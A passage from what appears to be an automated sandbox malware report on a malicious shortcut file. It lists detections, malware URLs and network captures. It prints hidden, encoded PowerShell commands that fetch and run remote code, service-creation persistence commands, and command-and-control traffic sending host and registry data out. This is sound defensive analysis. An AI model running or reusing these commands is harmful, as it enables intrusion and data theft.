AUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcA

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, CommandLine: /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\Temp\myRdpService.exe cakoi10, ParentImage: C:\Windows\Temp\myRdpService.exe, ParentProcessId: 6808, ParentProcessName: myRdpService.exe, ProcessCommandLine: /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, ProcessId: 5280, ProcessName: cmd.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6736, TargetFilename: C:\Users\user\AppData\Local\Temp\5v0ewpyz\5v0ewpyz.cmdline

Sigma detected: Net.exe Execution

Source: Process started

Author: Michael Haag, Mark Woan (improvements), James Pemberton / @4A616D6573 / oscd.community (improvements): Data: Command: net start "myRdpService", CommandLine: net start "myRdpService", CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1676, ParentProcessName: cmd.exe, ProcessCommandLine: net start "myRdpService", ProcessId: 3036, ProcessName: net.exe

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , CommandLine: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , CommandLine|base64offset|contains: H, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1676, ParentProcessName: cmd.exe, ProcessCommandLine: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , ProcessId: 4004, ProcessName: sc.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA==" , CommandLine: PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcA

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE, ProcessId: 7728, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Sigma detected: SC.EXE Query Execution

Source: Process started

Author: frack113: Data: Command: sc query myRdpService, CommandLine: sc query myRdpService, CommandLine|base64offset|contains: , Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "cmd.exe" /c sc query myRdpService, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3052, ParentProcessName: cmd.exe, ProcessCommandLine: sc query myRdpService, ProcessId: 7476, ProcessName: sc.exe

Sigma detected: Start Windows Service Via Net.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: net start "myRdpService", CommandLine: net start "myRdpService", CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1676, ParentProcessName: cmd.exe, ProcessCommandLine: net start "myRdpService", ProcessId: 3036, ProcessName: net.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5v0ewpyz\5v0ewpyz.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5v0ewpyz\5v0ewpyz.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA= , ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6736, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5v0ewpyz\5v0ewpyz.cmdline", ProcessId: 6960, ProcessName: csc.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-11T12:59:50.014157+0100	2803305	3	Unknown Traffic	192.168.11.20	49763	104.21.1.51	443	TCP
2024-12-11T13:00:52.854166+0100	2803305	3	Unknown Traffic	192.168.11.20	49768	104.21.1.51	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-11T12:58:17.799303+0100	2803274	2	Potentially Bad Traffic	192.168.11.20	49740	104.21.1.51	443	TCP
2024-12-11T12:58:19.871198+0100	2803274	2	Potentially Bad Traffic	192.168.11.20	49742	104.21.1.51	443	TCP
2024-12-11T12:58:22.078065+0100	2803274	2	Potentially Bad Traffic	192.168.11.20	49744	104.21.1.51	443	TCP
2024-12-11T12:58:44.131632+0100	2803274	2	Potentially Bad Traffic	192.168.11.20	49757	104.21.1.51	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bafad2e63e06195	Avira URL Cloud: Label: malware
Source: https://cocomethode.de	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/StaticFile/RdpService/74	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/fbJ5ex	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/961e923217e6366fedc4ef058b135504177a85e5d4a3d3fefcd20dd6a4bae06bb247857	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/b2363232f108a7db06ff607ea8c50137aec629784f39f036dcd79f8d1b73a6efe976627	Avira URL Cloud: Label: malware
Source: http://cocomethode.de	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bab506f6a812b20cbc872b7a211556734d	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae10afda605b274c86a537ac904c1ece8	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/058	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/a6c68eda5eb2f2e24f6b71bb75ddc6d507a5fe468316dd82743217491c7dea68954e62fb05f2234146d02dff67a82509599b2836174547622d0ee8fe256a41126468eb5b965f1730e662f8fc21d93434c518bc7706e19d63073732141d6f21016c67c03bdf5a6c61b32c775e3922a7a7	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file3/d9dfe974fbbd6a01f97629760ed0554b2f05b97cf7aaa7b915fbc8058e9200929c82f11	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/961e923217e6366fedc4ef058b135504177a85e5d4a3d3fefcd20dd6a4bae06bb2478574061f4b658389b7a7e3af43a85c5ecfdccd06bf7c5b886bdbae4ac14dbe3d1d4a64907f793a1a16c53af422f92d9f2cb7175cf67cfe6348ff0758c34fdc8e2257e8a3d657133dc4ebec8eb034	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/0581aba62a106ea04cdf6f3772592fc1199b70b957cfe082abf00cb9a2df1f568594743	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae10afda605b27	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba9213d0acc74f8c33d78166b154b2833c	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec4695bfb20347d487db9d7c0bde27a5e0ba5eac5fd4613132176855e90827b93484d9303b9e360e0312cee54aa3cf6665282a09eba8222b906c8149f28e41ff30a4ef5b48c5503cc241b4591a2667faf3adb	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/b2363232f108a7db06ff607ea8c50137aec629784f39f036dcd79f8d1b73a6efe97662716e1240e5e6f40650c8b01fcf788ad0bf17456ac62aa074a542cbf6de1e0229e2f9f8d075ea492fd271b6e8da5c805a00296560634cab2366c0781d856a032564ab3a4d41c92c82c96382a43b	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/5a0471e79676f6960f268adf43164cb8fc84dce8007a24a8c9bcf6acf05c2f43f1ee518	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec4695bfb20347d487db9d7c0bde27a5e0ba5eac5fd4	Avira URL Cloud: Label: malware
Source: http://cocomethode.de:443/	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/5a0471e79676f6960f268adf43164cb8fc84dce8007a24a8c9bcf6acf05c2f43f1ee5181fc72e5e8a3af5de84a2efdf46556ce4b18f9a9058f02baeebba47957ff9a00fd3cbdf5afdb4554ef95d156bde153a4128333e118ea47d1e765bd042ad4fe0ce742b114df2225de5259d39230	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bafad2e63e06195adc3d6c7b0625fed05f	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file3/d9dfe974fbbd6a01f97629760ed0554b2f05b97cf7aaa7b915fbc8058e9200929c82f11dfb2e9390f9dd7644a9aec526961529f07ac36dcfaa45d1951cf1541beba58f14d842eb2818c592de7ef7788a4bc3b6e43f0cf50f892301271a3b379a/Windows%20Defender/16/16/user/190	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba9213d0acc74f8	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bab506f6a812b20	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/StaticFile/TermServiceTryRun/22	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/a6c68eda5eb2f2e24f6b71bb75ddc6d507a5fe468316dd82743217491c7dea68954e62f	Avira URL Cloud: Label: malware
Source: http://cocomethode.de/api/check	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57f	Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Source: Cj3OWJHzls.lnk

ReversingLabs: Detection: 26%

Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE

Directory created: C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Source: unknown	HTTPS traffic detected: 104.21.1.51:443 -> 192.168.11.20:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.1.51:443 -> 192.168.11.20:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.1.51:443 -> 192.168.11.20:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.1.51:443 -> 192.168.11.20:49763 version: TLS 1.2

Source:	Binary string: omation.pdbfB source: powershell.exe, 0000000C.00000002.4327442796.0000027D251B4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 0000000C.00000002.4327442796.0000027D251B4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: l\System.pdb source: powershell.exe, 0000000C.00000002.4327442796.0000027D25184000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft Unified Security Protocol Provideron.pdb source: powershell.exe, 0000000C.00000002.4327442796.0000027D251B4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: rlib.pdb source: powershell.exe, 0000000C.00000002.4335848558.0000027D25201000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: m.Management.Automation.pdb source: powershell.exe, 0000000C.00000002.4327442796.0000027D251B4000.00000004.00000020.00020000.00000000.sdmp

Networking

Potential dropper URLs found in powershell memory

Source: powershell.exe, 0000000C.00000002.4212100544.0000027D1DAAE000.00000004.00000800.00020000.00000000.sdmp

String found in memory: <   "><a href="http://style="float:left;concerned with the=http%3A%2F%2Fwww.in popular culturetype="text/css" />it is possible to Harvard Universitytylesheet" href="/the main characterOxford University name="keywords" cstyle="text-align:the United Kingdomfederal government<div style="margin depending on the description of the<div class="header.min.js"></script>destruction of theslightly differentin accordance withtelecommunicationsindicates that theshortly thereafterespecially in the European countriesHowever, there aresrc="http://staticsuggested that the" src="http://www.a large number of Telecommunications" rel="nofollow" tHoly Roman Emperoralmost exclusively" border="0" alt="Secretary of Stateculminating in theCIA World Factbookthe most importantanniversary of thestyle="background-<li><em><a href="/the Atlantic Oceanstrictly speaking,shortly before thedifferent types ofthe Ottoman Empire><img src="http://An Introduction toconsequence of thedeparture from theConfederate Statesindigenous peoplesProceedings of theinformation on thetheories have beeninvolvement in thedivided into threeadjacent countriesis responsible fordissolution of thecollaboration withwidely regarded ashis contemporariesfounding member ofDominican Republicgenerally acceptedthe possibility ofare also availableunder constructionrestoration of thethe general publicis almost entirelypasses through thehas been suggestedcomputer and videoGermanic languages according to the different from theshortly afterwardshref="https://www.recent developmentBoard of Directors<div class="search| <a href="http://In particular, theMultiple footnotesor other substancethousands of yearstranslation of the</div>

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49767

Source: global traffic

TCP traffic: 192.168.11.20:49765 -> 23.88.71.29:8000

Source: global traffic	HTTP traffic detected: GET /StaticFile/RdpService/74 HTTP/1.1Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /StaticFile/TermServiceTryRun/22 HTTP/1.1Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /api/check HTTP/1.1Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /client/ws HTTP/1.1Host: 23.88.71.29:8000Connection: UpgradeUpgrade: websocketSec-WebSocket-Key: rGSWxZ10F0Sv0aijWMtUlQ==Sec-WebSocket-Version: 13
Source: global traffic	HTTP traffic detected: POST /api/registry HTTP/1.1Host: 23.88.71.29:8000Connection: Keep-AliveContent-Type: application/jsonContent-Length: 102Data Raw: 22 36 33 30 31 33 33 37 32 46 36 35 37 35 41 39 44 34 45 41 32 39 43 42 36 30 38 37 39 38 45 44 39 7c 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 7c 31 30 2e 30 2e 31 39 30 34 32 20 4e 2f 41 20 42 75 69 6c 64 20 31 39 30 34 32 2d 31 30 2e 30 2e 31 39 30 34 31 2e 31 30 38 31 22 Data Ascii: "63013372F6575A9D4EA29CB608798ED9\|Microsoft Windows 10 Pro\|10.0.19042 N/A Build 19042-10.0.19041.1081"
Source: global traffic	HTTP traffic detected: POST /api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757 HTTP/1.1Host: 23.88.71.29:8000Connection: Keep-AliveContent-Type: multipart/form-data; boundary=---------------------8dd19b171f02e48Content-Length: 5689Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 39 62 31 37 31 66 30 32 65 34 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 72 65 67 42 61 63 6b 75 70 2e 72 65 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ff fe 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 52 00 65 00 67 00 69 00 73 00 74 00 72 00 79 00 20 00 45 00 64 00 69 00 74 00 6f 00 72 00 20 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 20 00 35 00 2e 00 30 00 30 00 0d 00 0a 00 0d 00 0a 00 5b 00 48 00 4b 00 45 00 59 00 5f 00 4c 00 4f 00 43 00 41 00 4c 00 5f 00 4d 00 41 00 43 00 48 00 49 00 4e 00 45 00 5c 00 53 00 59 00 53 00 54 00 45 00 4d 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 53 00 65 00 74 00 5c 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 73 00 5c 00 54 00 65 00 72 00 6d 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 5d 00 0d 00 0a 00 22 00 44 00 65 00 70 00 65 00 6e 00 64 00 4f 00 6e 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 22 00 3d 00 68 00 65 00 78 00 28 00 37 00 29 00 3a 00 35 00 32 00 2c 00 30 00 30 00 2c 00 35 00 30 00 2c 00 30 00 30 00 2c 00 34 00 33 00 2c 00 30 00 30 00 2c 00 35 00 33 00 2c 00 30 00 30 00 2c 00 35 00 33 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 